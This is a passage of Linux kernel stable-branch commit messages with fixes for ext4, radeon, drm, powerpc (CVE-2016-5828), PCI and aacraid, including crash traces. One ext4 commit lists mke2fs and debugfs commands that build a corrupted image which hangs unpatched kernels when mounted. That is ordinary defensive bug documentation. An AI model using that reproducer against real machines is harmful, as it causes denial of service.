ext4_mb_mark_diskspace_used:2940: comm ext4.exe: Allocating blocks 5090-6081 which overlap fs metadata then ext4_mb_new_blocks() will call ext4_mb_release_context() and try to continue. However, ext4_mb_release_context() is the wrong thing to call here since we are still actually using the allocation context. Instead, just error out. We could retry the allocation, but there is a possibility of getting stuck in an infinite loop instead, so this seems safer. [ Fixed up so we don't return EAGAIN to userspace. --tytso ] Fixes: 8556e8f3b6 ("ext4: Don't allow new groups to be added during block allocation") Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Cc: Aneesh Kumar K.V Cc: stable@vger.kernel.org [wt: 3.10 doesn't have EFSCORRUPTED, but XFS uses EUCLEAN as does 3.14 on this patch so use this instead] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 68adf6c9afae5b5bb03d44de67a11db2f540f76d Author: Vegard Nossum Date: Thu Jul 14 23:21:35 2016 -0400 ext4: short-cut orphan cleanup on error commit c65d5c6c81a1f27dec5f627f67840726fcd146de upstream. If we encounter a filesystem error during orphan cleanup, we should stop. Otherwise, we may end up in an infinite loop where the same inode is processed again and again. EXT4-fs (loop0): warning: checktime reached, running e2fsck is recommended EXT4-fs error (device loop0): ext4_mb_generate_buddy:758: group 2, block bitmap and bg descriptor inconsistent: 6117 vs 0 free clusters Aborting journal on device loop0-8. EXT4-fs (loop0): Remounting filesystem read-only EXT4-fs error (device loop0) in ext4_free_blocks:4895: Journal has aborted EXT4-fs error (device loop0) in ext4_do_update_inode:4893: Journal has aborted EXT4-fs error (device loop0) in ext4_do_update_inode:4893: Journal has aborted EXT4-fs error (device loop0) in ext4_ext_remove_space:3068: IO failure EXT4-fs error (device loop0) in ext4_ext_truncate:4667: Journal has aborted EXT4-fs error (device loop0) in ext4_orphan_del:2927: Journal has aborted EXT4-fs error (device loop0) in ext4_do_update_inode:4893: Journal has aborted EXT4-fs (loop0): Inode 16 (00000000618192a0): orphan list check failed! [...] EXT4-fs (loop0): Inode 16 (0000000061819748): orphan list check failed! [...] EXT4-fs (loop0): Inode 16 (0000000061819bf0): orphan list check failed! [...] See-also: c9eb13a9105 ("ext4: fix hang when processing corrupted orphaned inode list") Cc: Jan Kara Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 63d71be26418bdd354c89817f56fcd7a05a1bff6 Author: Vegard Nossum Date: Mon Jul 4 11:03:00 2016 -0400 ext4: don't call ext4_should_journal_data() on the journal inode commit 6a7fd522a7c94cdef0a3b08acf8e6702056e635c upstream. If ext4_fill_super() fails early, it's possible for ext4_evict_inode() to call ext4_should_journal_data() before superblock options and flags are fully set up. In that case, the iput() on the journal inode can end up causing a BUG(). Work around this problem by reordering the tests so we only call ext4_should_journal_data() after we know it's not the journal inode. Fixes: 2d859db3e4 ("ext4: fix data corruption in inodes with journalled data") Fixes: 2b405bfa84 ("ext4: fix data=journal fast mount/umount hang") Cc: Jan Kara Cc: stable@vger.kernel.org Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c08250386e3de65e20bca0ee3ccc649561e66651 Author: Vegard Nossum Date: Thu Jun 30 11:53:46 2016 -0400 ext4: check for extents that wrap around commit f70749ca42943faa4d4dcce46dfdcaadb1d0c4b6 upstream. An extent with lblock = 4294967295 and len = 1 will pass the ext4_valid_extent() test: ext4_lblk_t last = lblock + len - 1; if (len == 0 || lblock > last) return 0; since last = 4294967295 + 1 - 1 = 4294967295. This would later trigger the BUG_ON(es->es_lblk + es->es_len < es->es_lblk) in ext4_es_end(). We can simplify it by removing the - 1 altogether and changing the test to use lblock + len <= lblock, since now if len = 0, then lblock + 0 == lblock and it fails, and if len > 0 then lblock + len > lblock in order to pass (i.e. it doesn't overflow). Fixes: 5946d0893 ("ext4: check for overlapping extents in ext4_valid_extent_entries()") Fixes: 2f974865f ("ext4: check for zero length extent explicitly") Cc: Eryu Guan Cc: stable@vger.kernel.org Signed-off-by: Phil Turnbull Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c5d84c91f48b79857d9a6929c2e4dc6e9a174533 Author: Vegard Nossum Date: Fri Jul 15 00:22:07 2016 -0400 ext4: verify extent header depth commit 7bc9491645118c9461bd21099c31755ff6783593 upstream. Although the extent tree depth of 5 should enough be for the worst case of 2*32 extents of length 1, the extent tree code does not currently to merge nodes which are less than half-full with a sibling node, or to shrink the tree depth if possible. So it's possible, at least in theory, for the tree depth to be greater than 5. However, even in the worst case, a tree depth of 32 is highly unlikely, and if the file system is maliciously corrupted, an insanely large eh_depth can cause memory allocation failures that will trigger kernel warnings (here, eh_depth = 65280): JBD2: ext4.exe wants too many credits credits:195849 rsv_credits:0 max:256 ------------[ cut here ]------------ WARNING: CPU: 0 PID: 50 at fs/jbd2/transaction.c:293 start_this_handle+0x569/0x580 CPU: 0 PID: 50 Comm: ext4.exe Not tainted 4.7.0-rc5+ #508 Stack: 604a8947 625badd8 0002fd09 00000000 60078643 00000000 62623910 601bf9bc 62623970 6002fc84 626239b0 900000125 Call Trace: [<6001c2dc>] show_stack+0xdc/0x1a0 [<601bf9bc>] dump_stack+0x2a/0x2e [<6002fc84>] __warn+0x114/0x140 [<6002fdff>] warn_slowpath_null+0x1f/0x30 [<60165829>] start_this_handle+0x569/0x580 [<60165d4e>] jbd2__journal_start+0x11e/0x220 [<60146690>] __ext4_journal_start_sb+0x60/0xa0 [<60120a81>] ext4_truncate+0x131/0x3a0 [<60123677>] ext4_setattr+0x757/0x840 [<600d5d0f>] notify_change+0x16f/0x2a0 [<600b2b16>] do_truncate+0x76/0xc0 [<600c3e56>] path_openat+0x806/0x1300 [<600c55c9>] do_filp_open+0x89/0xf0 [<600b4074>] do_sys_open+0x134/0x1e0 [<600b4140>] SyS_open+0x20/0x30 [<6001ea68>] handle_syscall+0x88/0x90 [<600295fd>] userspace+0x3fd/0x500 [<6001ac55>] fork_handler+0x85/0x90 ---[ end trace 08b0b88b6387a244 ]--- [ Commit message modified and the extent tree depath check changed from 5 to 32 -- tytso ] Cc: Darrick J. Wong Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b3271a0af77966b1bb2e1530a18c9d8b291aeb36 Author: Nicolai Stange Date: Thu May 5 19:46:19 2016 -0400 ext4: silence UBSAN in ext4_mb_init() commit 935244cd54b86ca46e69bc6604d2adfb1aec2d42 upstream. Currently, in ext4_mb_init(), there's a loop like the following: do { ... offset += 1 << (sb->s_blocksize_bits - i); i++; } while (i <= sb->s_blocksize_bits + 1); Note that the updated offset is used in the loop's next iteration only. However, at the last iteration, that is at i == sb->s_blocksize_bits + 1, the shift count becomes equal to (unsigned)-1 > 31 (c.f. C99 6.5.7(3)) and UBSAN reports UBSAN: Undefined behaviour in fs/ext4/mballoc.c:2621:15 shift exponent 4294967295 is too large for 32-bit type 'int' [...] Call Trace: [] dump_stack+0xbc/0x117 [] ? _atomic_dec_and_lock+0x169/0x169 [] ubsan_epilogue+0xd/0x4e [] __ubsan_handle_shift_out_of_bounds+0x1fb/0x254 [] ? __ubsan_handle_load_invalid_value+0x158/0x158 [] ? kmem_cache_alloc+0x101/0x390 [] ? ext4_mb_init+0x13b/0xfd0 [] ? create_cache+0x57/0x1f0 [] ? create_cache+0x11a/0x1f0 [] ? mutex_lock+0x38/0x60 [] ? mutex_unlock+0x1b/0x50 [] ? put_online_mems+0x5b/0xc0 [] ? kmem_cache_create+0x117/0x2c0 [] ext4_mb_init+0xc49/0xfd0 [...] Observe that the mentioned shift exponent, 4294967295, equals (unsigned)-1. Unless compilers start to do some fancy transformations (which at least GCC 6.0.0 doesn't currently do), the issue is of cosmetic nature only: the such calculated value of offset is never used again. Silence UBSAN by introducing another variable, offset_incr, holding the next increment to apply to offset and adjust that one by right shifting it by one position per loop iteration. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=114701 Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=112161 Cc: stable@vger.kernel.org Signed-off-by: Nicolai Stange Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 948ab3d20e94a2ce8a4ced07b4ea8c2ab1140645 Author: Nicolai Stange Date: Thu May 5 17:38:03 2016 -0400 ext4: address UBSAN warning in mb_find_order_for_block() commit b5cb316cdf3a3f5f6125412b0f6065185240cfdc upstream. Currently, in mb_find_order_for_block(), there's a loop like the following: while (order <= e4b->bd_blkbits + 1) { ... bb += 1 << (e4b->bd_blkbits - order); } Note that the updated bb is used in the loop's next iteration only. However, at the last iteration, that is at order == e4b->bd_blkbits + 1, the shift count becomes negative (c.f. C99 6.5.7(3)) and UBSAN reports UBSAN: Undefined behaviour in fs/ext4/mballoc.c:1281:11 shift exponent -1 is negative [...] Call Trace: [] dump_stack+0xbc/0x117 [] ? _atomic_dec_and_lock+0x169/0x169 [] ubsan_epilogue+0xd/0x4e [] __ubsan_handle_shift_out_of_bounds+0x1fb/0x254 [] ? __ubsan_handle_load_invalid_value+0x158/0x158 [] ? ext4_mb_generate_from_pa+0x590/0x590 [] ? ext4_read_block_bitmap_nowait+0x598/0xe80 [] mb_find_order_for_block+0x1ce/0x240 [...] Unless compilers start to do some fancy transformations (which at least GCC 6.0.0 doesn't currently do), the issue is of cosmetic nature only: the such calculated value of bb is never used again. Silence UBSAN by introducing another variable, bb_incr, holding the next increment to apply to bb and adjust that one by right shifting it by one position per loop iteration. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=114701 Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=112161 Cc: stable@vger.kernel.org Signed-off-by: Nicolai Stange Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3e8dc83936ad736b3aaf0ae7ebf3d52c90fbb7d8 Author: Theodore Ts'o Date: Sat Apr 30 00:48:54 2016 -0400 ext4: fix hang when processing corrupted orphaned inode list commit c9eb13a9105e2e418f72e46a2b6da3f49e696902 upstream. If the orphaned inode list contains inode #5, ext4_iget() returns a bad inode (since the bootloader inode should never be referenced directly). Because of the bad inode, we end up processing the inode repeatedly and this hangs the machine. This can be reproduced via: mke2fs -t ext4 /tmp/foo.img 100 debugfs -w -R "ssv last_orphan 5" /tmp/foo.img mount -o loop /tmp/foo.img /mnt (But don't do this if you are using an unpatched kernel if you care about the system staying functional. :-) This bug was found by the port of American Fuzzy Lop into the kernel to find file system problems[1]. (Since it *only* happens if inode #5 shows up on the orphan list --- 3, 7, 8, etc. won't do it, it's not surprising that AFL needed two hours before it found it.) [1] http://events.linuxfoundation.org/sites/events/files/slides/AFL%20filesystem%20fuzzing%2C%20Vault%202016_0.pdf Cc: stable@vger.kernel.org Reported by: Vegard Nossum Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e4b7020bf192e985583901c144f5a70657e766a8 Author: Alex Deucher Date: Wed Jul 27 15:28:56 2016 -0400 drm/radeon: fix firmware info version checks commit 3edc38a0facef45ee22af8afdce3737f421f36ab upstream. Some of the checks didn't handle frev 2 tables properly. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c74fd1c0688318a01a2ad3b6e156ad51c73a3189 Author: Lyude Date: Fri Jun 24 17:54:31 2016 -0400 drm/radeon: Poll for both connect/disconnect on analog connectors commit 14ff8d48f2235295dfb3117693008e367b49cdb5 upstream. DRM_CONNECTOR_POLL_CONNECT only enables polling for connections, not disconnections. Because of this, we end up losing hotplug polling for analog connectors once they get connected. Easy way to reproduce: - Grab a machine with a radeon GPU and a VGA port - Plug a monitor into the VGA port, wait for it to update the connector from disconnected to connected - Disconnect the monitor on VGA, a hotplug event is never sent for the removal of the connector. Originally, only using DRM_CONNECTOR_POLL_CONNECT might have been a good idea since doing VGA polling can sometimes result in having to mess with the DAC voltages to figure out whether or not there's actually something there since VGA doesn't have HPD. Doing this would have the potential of showing visible artifacts on the screen every time we ran a poll while a VGA display was connected. Luckily, radeon_vga_detect() only resorts to this sort of polling if the poll is forced, and DRM's polling helper doesn't force it's polls. Additionally, this removes some assignments to connector->polled that weren't actually doing anything. Cc: stable@vger.kernel.org Signed-off-by: Lyude Signed-off-by: Alex Deucher Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bd28fcf5fb50eb020db30120430d0fe9c2ee3c25 Author: Alex Deucher Date: Wed Jun 1 12:58:36 2016 -0400 drm/radeon: add a delay after ATPX dGPU power off commit d814b24fb74cb9797d70cb8053961447c5879a5c upstream. ATPX dGPU power control requires a 200ms delay between power off and on. This should fix dGPU failures on resume from power off. Reviewed-by: Hawking Zhang Acked-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9bb8f4919707ebd820ec0f47fb4b49f37265d200 Author: Alex Deucher Date: Mon Jun 13 15:37:34 2016 -0400 drm/radeon: fix asic initialization for virtualized environments commit 05082b8bbd1a0ffc74235449c4b8930a8c240f85 upstream. When executing in a PCI passthrough based virtuzliation environment, the hypervisor will usually attempt to send a PCIe bus reset signal to the ASIC when the VM reboots. In this scenario, the card is not correctly initialized, but we still consider it to be posted. Therefore, in a passthrough based environemnt we should always post the card to guarantee it is in a good state for driver initialization. Ported from amdgpu commit: amdgpu: fix asic initialization for virtualized environments Cc: Andres Rodriguez Cc: Alex Williamson Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bbb885ee0ba5fabe2bf81611056d5dc5986604e4 Author: Lyude Date: Thu May 12 10:56:59 2016 -0400 drm/fb_helper: Fix references to dev->mode_config.num_connector commit 255f0e7c418ad95a4baeda017ae6182ba9b3c423 upstream. During boot, MST hotplugs are generally expected (even if no physical hotplugging occurs) and result in DRM's connector topology changing. This means that using num_connector from the current mode configuration can lead to the number of connectors changing under us. This can lead to some nasty scenarios in fbcon: - We allocate an array to the size of dev->mode_config.num_connectors. - MST hotplug occurs, dev->mode_config.num_connectors gets incremented. - We try to loop through each element in the array using the new value of dev->mode_config.num_connectors, and end up going out of bounds since dev->mode_config.num_connectors is now larger then the array we allocated. fb_helper->connector_count however, will always remain consistent while we do a modeset in fb_helper. Note: This is just polish for 4.7, Dave Airlie's drm_connector refcounting fixed these bugs for real. But it's good enough duct-tape for stable kernel backporting, since backporting the refcounting changes is way too invasive. Signed-off-by: Lyude [danvet: Clarify why we need this. Also remove the now unused "dev" local variable to appease gcc.] Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1463065021-18280-3-git-send-email-cpaul@redhat.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3c5ef020497cb0ebd3432e541d5125db0b912b12 Author: Itai Handler Date: Tue Nov 3 00:20:56 2015 +0200 drm/gma500: Fix possible out of bounds read commit 7ccca1d5bf69fdd1d3c5fcf84faf1659a6e0ad11 upstream. Fix possible out of bounds read, by adding missing comma. The code may read pass the end of the dsi_errors array when the most significant bit (bit #31) in the intr_stat register is set. This bug has been detected using CppCheck (static analysis tool). Cc: stable@vger.kernel.org Signed-off-by: Itai Handler Signed-off-by: Patrik Jakobsson Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fe7765ccbaeed0102a81c6b25223667c7526ef02 Author: Tomáš Trnka Date: Fri May 20 16:41:10 2016 +0200 sunrpc: fix stripping of padded MIC tokens commit c0cb8bf3a8e4bd82e640862cdd8891400405cb89 upstream. The length of the GSS MIC token need not be a multiple of four bytes. It is then padded by XDR to a multiple of 4 B, but unwrap_integ_data() would previously only trim mic.len + 4 B. The remaining up to three bytes would then trigger a check in nfs4svc_decode_compoundargs(), leading to a "garbage args" error and mount failure: nfs4svc_decode_compoundargs: compound not properly padded! nfsd: failed to decode arguments! This would prevent older clients using the pre-RFC 4121 MIC format (37-byte MIC including a 9-byte OID) from mounting exports from v3.9+ servers using krb5i. The trimming was introduced by commit 4c190e2f913f ("sunrpc: trim off trailing checksum before returning decrypted or integrity authenticated buffer"). Fixes: 4c190e2f913f "unrpc: trim off trailing checksum..." Signed-off-by: Tomáš Trnka Cc: stable@vger.kernel.org Acked-by: Jeff Layton Signed-off-by: J. Bruce Fields Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit da161a9f2d526ac1ec2e93126023b92638d79127 Author: Cyril Bur Date: Fri Jun 17 14:58:34 2016 +1000 powerpc/tm: Always reclaim in start_thread() for exec() class syscalls commit 8e96a87c5431c256feb65bcfc5aec92d9f7839b6 upstream. Userspace can quite legitimately perform an exec() syscall with a suspended transaction. exec() does not return to the old process, rather it load a new one and starts that, the expectation therefore is that the new process starts not in a transaction. Currently exec() is not treated any differently to any other syscall which creates problems. Firstly it could allow a new process to start with a suspended transaction for a binary that no longer exists. This means that the checkpointed state won't be valid and if the suspended transaction were ever to be resumed and subsequently aborted (a possibility which is exceedingly likely as exec()ing will likely doom the transaction) the new process will jump to invalid state. Secondly the incorrect attempt to keep the transactional state while still zeroing state for the new process creates at least two TM Bad Things. The first triggers on the rfid to return to userspace as start_thread() has given the new process a 'clean' MSR but the suspend will still be set in the hardware MSR. The second TM Bad Thing triggers in __switch_to() as the processor is still transactionally suspended but __switch_to() wants to zero the TM sprs for the new process. This is an example of the outcome of calling exec() with a suspended transaction. Note the first 700 is likely the first TM bad thing decsribed earlier only the kernel can't report it as we've loaded userspace registers. c000000000009980 is the rfid in fast_exception_return() Bad kernel stack pointer 3fffcfa1a370 at c000000000009980 Oops: Bad kernel stack pointer, sig: 6 [#1] CPU: 0 PID: 2006 Comm: tm-execed Not tainted NIP: c000000000009980 LR: 0000000000000000 CTR: 0000000000000000 REGS: c00000003ffefd40 TRAP: 0700 Not tainted MSR: 8000000300201031 CR: 00000000 XER: 00000000 CFAR: c0000000000098b4 SOFTE: 0 PACATMSCRATCH: b00000010000d033 GPR00: 0000000000000000 00003fffcfa1a370 0000000000000000 0000000000000000 GPR04: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR12: 00003fff966611c0 0000000000000000 0000000000000000 0000000000000000 NIP [c000000000009980] fast_exception_return+0xb0/0xb8 LR [0000000000000000] (null) Call Trace: Instruction dump: f84d0278 e9a100d8 7c7b03a6 e84101a0 7c4ff120 e8410170 7c5a03a6 e8010070 e8410080 e8610088 e8810090 e8210078 <4c000024> 48000000 e8610178 88ed023b Kernel BUG at c000000000043e80 [verbose debug info unavailable] Unexpected TM Bad Thing exception at c000000000043e80 (msr 0x201033) Oops: Unrecoverable exception, sig: 6 [#2] CPU: 0 PID: 2006 Comm: tm-execed Tainted: G D task: c0000000fbea6d80 ti: c00000003ffec000 task.ti: c0000000fb7ec000 NIP: c000000000043e80 LR: c000000000015a24 CTR: 0000000000000000 REGS: c00000003ffef7e0 TRAP: 0700 Tainted: G D MSR: 8000000300201033 CR: 28002828 XER: 00000000 CFAR: c000000000015a20 SOFTE: 0 PACATMSCRATCH: b00000010000d033 GPR00: 0000000000000000 c00000003ffefa60 c000000000db5500 c0000000fbead000 GPR04: 8000000300001033 2222222222222222 2222222222222222 00000000ff160000 GPR08: 0000000000000000 800000010000d033 c0000000fb7e3ea0 c00000000fe00004 GPR12: 0000000000002200 c00000000fe00000 0000000000000000 0000000000000000 GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR20: 0000000000000000 0000000000000000 c0000000fbea7410 00000000ff160000 GPR24: c0000000ffe1f600 c0000000fbea8700 c0000000fbea8700 c0000000fbead000 GPR28: c000000000e20198 c0000000fbea6d80 c0000000fbeab680 c0000000fbea6d80 NIP [c000000000043e80] tm_restore_sprs+0xc/0x1c LR [c000000000015a24] __switch_to+0x1f4/0x420 Call Trace: Instruction dump: 7c800164 4e800020 7c0022a6 f80304a8 7c0222a6 f80304b0 7c0122a6 f80304b8 4e800020 e80304a8 7c0023a6 e80304b0 <7c0223a6> e80304b8 7c0123a6 4e800020 This fixes CVE-2016-5828. Fixes: bc2a9408fa65 ("powerpc: Hook in new transactional memory code") Cc: stable@vger.kernel.org # v3.9+ Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e5f18c1ba6a8e353b7c00f80305781ab16914c61 Author: Gavin Shan Date: Thu May 26 09:56:07 2016 +1000 powerpc/pseries: Fix PCI config address for DDW commit 8a934efe94347eee843aeea65bdec8077a79e259 upstream. In commit 8445a87f7092 "powerpc/iommu: Remove the dependency on EEH struct in DDW mechanism", the PE address was replaced with the PCI config address in order to remove dependency on EEH. According to PAPR spec, firmware (pHyp or QEMU) should accept "xxBBSSxx" format PCI config address, not "xxxxBBSS" provided by the patch. Note that "BB" is PCI bus number and "SS" is the combination of slot and function number. This fixes the PCI address passed to DDW RTAS calls. Fixes: 8445a87f7092 ("powerpc/iommu: Remove the dependency on EEH struct in DDW mechanism") Cc: stable@vger.kernel.org # v3.4+ Reported-by: Guilherme G. Piccoli Signed-off-by: Gavin Shan Tested-by: Guilherme G. Piccoli Signed-off-by: Michael Ellerman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 266180a08f4c58773d1b1768588ac29b83683fcf Author: Guilherme G. Piccoli Date: Mon Apr 11 16:17:23 2016 -0300 powerpc/iommu: Remove the dependency on EEH struct in DDW mechanism commit 8445a87f7092bc8336ea1305be9306f26b846d93 upstream. Commit 39baadbf36ce ("powerpc/eeh: Remove eeh information from pci_dn") changed the pci_dn struct by removing its EEH-related members. As part of this clean-up, DDW mechanism was modified to read the device configuration address from eeh_dev struct. As a consequence, now if we disable EEH mechanism on kernel command-line for example, the DDW mechanism will fail, generating a kernel oops by dereferencing a NULL pointer (which turns to be the eeh_dev pointer). This patch just changes the configuration address calculation on DDW functions to a manual calculation based on pci_dn members instead of using eeh_dev-based address. No functional changes were made. This was tested on pSeries, both in PHyp and qemu guest. Fixes: 39baadbf36ce ("powerpc/eeh: Remove eeh information from pci_dn") Cc: stable@vger.kernel.org # v3.4+ Reviewed-by: Gavin Shan Signed-off-by: Guilherme G. Piccoli Signed-off-by: Michael Ellerman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 94d5481abca3ac36b5319b55ab2fa1623063867f Author: Russell Currey Date: Thu Apr 7 16:28:26 2016 +1000 powerpc/pseries/eeh: Handle RTAS delay requests in configure_bridge commit 871e178e0f2c4fa788f694721a10b4758d494ce1 upstream. In the "ibm,configure-pe" and "ibm,configure-bridge" RTAS calls, the spec states that values of 9900-9905 can be returned, indicating that software should delay for 10^x (where x is the last digit, i.e. 990x) milliseconds and attempt the call again. Currently, the kernel doesn't know about this, and respecting it fixes some PCI failures when the hypervisor is busy. The delay is capped at 0.2 seconds. Cc: # 3.10+ Signed-off-by: Russell Currey Acked-by: Gavin Shan Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bfc4af959d64015a256e4b9e101b679bb5986578 Author: Thomas Huth Date: Thu May 12 13:29:11 2016 +0200 powerpc: Use privileged SPR number for MMCR2 commit 8dd75ccb571f3c92c48014b3dabd3d51a115ab41 upstream. We are already using the privileged versions of MMCR0, MMCR1 and MMCRA in the kernel, so for MMCR2, we should better use the privileged versions, too, to be consistent. Fixes: 240686c13687 ("powerpc: Initialise PMU related regs on Power8") Suggested-by: Paul Mackerras Signed-off-by: Thomas Huth Acked-by: Paul Mackerras Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c524b61e1f222453cc7b337c0cfa6321d7a84778 Author: Thomas Huth Date: Thu May 12 13:26:44 2016 +0200 powerpc: Fix definition of SIAR and SDAR registers commit d23fac2b27d94aeb7b65536a50d32bfdc21fe01e upstream. The SIAR and SDAR registers are available twice, one time as SPRs 780 / 781 (unprivileged, but read-only), and one time as the SPRs 796 / 797 (privileged, but read and write). The Linux kernel code currently uses the unprivileged SPRs - while this is OK for reading, writing to that register of course does not work. Since the KVM code tries to write to this register, too (see the mtspr in book3s_hv_rmhandlers.S), the contents of this register sometimes get lost for the guests, e.g. during migration of a VM. To fix this issue, simply switch to the privileged SPR numbers instead. Signed-off-by: Thomas Huth Acked-by: Paul Mackerras Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 85b65e2d9b8923b9bb32d0f6f79d2c7fbc30ef97 Author: Hari Bathini Date: Fri Apr 15 22:48:02 2016 +1000 powerpc/book3s64: Fix branching to OOL handlers in relocatable kernel commit 8ed8ab40047a570fdd8043a40c104a57248dd3fd upstream. Some of the interrupt vectors on 64-bit POWER server processors are only 32 bytes long (8 instructions), which is not enough for the full first-level interrupt handler. For these we need to branch to an out-of-line (OOL) handler. But when we are running a relocatable kernel, interrupt vectors till __end_interrupts marker are copied down to real address 0x100. So, branching to labels (ie. OOL handlers) outside this section must be handled differently (see LOAD_HANDLER()), considering relocatable kernel, which would need at least 4 instructions. However, branching from interrupt vector means that we corrupt the CFAR (come-from address register) on POWER7 and later processors as mentioned in commit 1707dd16. So, EXCEPTION_PROLOG_0 (6 instructions) that contains the part up to the point where the CFAR is saved in the PACA should be part of the short interrupt vectors before we branch out to OOL handlers. But as mentioned already, there are interrupt vectors on 64-bit POWER server processors that are only 32 bytes long (like vectors 0x4f00, 0x4f20, etc.), which cannot accomodate the above two cases at the same time owing to space constraint. Currently, in these interrupt vectors, we simply branch out to OOL handlers, without using LOAD_HANDLER(), which leaves us vulnerable when running a relocatable kernel (eg. kdump case). While this has been the case for sometime now and kdump is used widely, we were fortunate not to see any problems so far, for three reasons: 1. In almost all cases, production kernel (relocatable) is used for kdump as well, which would mean that crashed kernel's OOL handler would be at the same place where we end up branching to, from short interrupt vector of kdump kernel. 2. Also, OOL handler was unlikely the reason for crash in almost all the kdump scenarios, which meant we had a sane OOL handler from crashed kernel that we branched to. 3. On most 64-bit POWER server processors, page size is large enough that marking interrupt vector code as executable (see commit 429d2e83) leads to marking OOL handler code from crashed kernel, that sits right below interrupt vector code from kdump kernel, as executable as well. Let us fix this by moving the __end_interrupts marker down past OOL handlers to make sure that we also copy OOL handlers to real address 0x100 when running a relocatable kernel. This fix has been tested successfully in kdump scenario, on an LPAR with 4K page size by using different default/production kernel and kdump kernel. Also tested by manually corrupting the OOL handlers in the first kernel and then kdump'ing, and then causing the OOL handlers to fire - mpe. Fixes: c1fb6816fb1b ("powerpc: Add relocation on exception vector handlers") Signed-off-by: Hari Bathini Signed-off-by: Mahesh Salgaonkar Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 597350cffea751ad3a27985dc6600d8cca865e6c Author: wang yanqing Date: Tue May 3 00:38:36 2016 +0800 rtlwifi: Fix logic error in enter/exit power-save mode commit 873ffe154ae074c46ed2d72dbd9a2a99f06f55b4 upstream. In commit a269913c52ad ("rtlwifi: Rework rtl_lps_leave() and rtl_lps_enter() to use work queue"), the tests for enter/exit power-save mode were inverted. With this change applied, the wifi connection becomes much more stable. Fixes: a269913c52ad ("rtlwifi: Rework rtl_lps_leave() and rtl_lps_enter() to use work queue") Signed-off-by: Wang YanQing Acked-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ad3418b017e4fda751897227dad531cc5fe2d254 Author: Prarit Bhargava Date: Wed May 11 12:27:16 2016 -0400 PCI: Disable all BAR sizing for devices with non-compliant BARs commit ad67b437f187ea818b2860524d10f878fadfdd99 upstream. b84106b4e229 ("PCI: Disable IO/MEM decoding for devices with non-compliant BARs") disabled BAR sizing for BARs 0-5 of devices that don't comply with the PCI spec. But it didn't do anything for expansion ROM BARs, so we still try to size them, resulting in warnings like this on Broadwell-EP: pci 0000:ff:12.0: BAR 6: failed to assign [mem size 0x00000001 pref] Move the non-compliant BAR check from __pci_read_base() up to pci_read_bases() so it applies to the expansion ROM BAR as well as to BARs 0-5. Note that direct callers of __pci_read_base(), like sriov_init(), will now bypass this check. We haven't had reports of devices with broken SR-IOV BARs yet. [bhelgaas: changelog] Fixes: b84106b4e229 ("PCI: Disable IO/MEM decoding for devices with non-compliant BARs") Signed-off-by: Prarit Bhargava Signed-off-by: Bjorn Helgaas CC: Thomas Gleixner CC: Ingo Molnar CC: "H. Peter Anvin" CC: Andi Kleen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit deed46abebf4231837333de8e2870eb54b85e600 Author: Raghava Aditya Renukunta Date: Mon Apr 25 23:31:57 2016 -0700 aacraid: Fix for aac_command_thread hang commit fc4bf75ea300a5e62a2419f89dd0e22189dd7ab7 upstream. Typically under error conditions, it is possible for aac_command_thread() to miss the wakeup from kthread_stop() and go back to sleep, causing it to hang aac_shutdown. In the observed scenario, the adapter is not functioning correctly and so aac_fib_send() never completes (or time-outs depending on how it was called). Shortly after aac_command_thread() starts it performs aac_fib_send(SendHostTime) which hangs. When aac_probe_one /aac_get_adapter_info send time outs, kthread_stop is called which breaks the command thread out of it's hang. The code will still go back to sleep in schedule_timeout() without checking kthread_should_stop() so it causes aac_probe_one to hang until the schedule_timeout() which is 30 minutes. Fixed by: 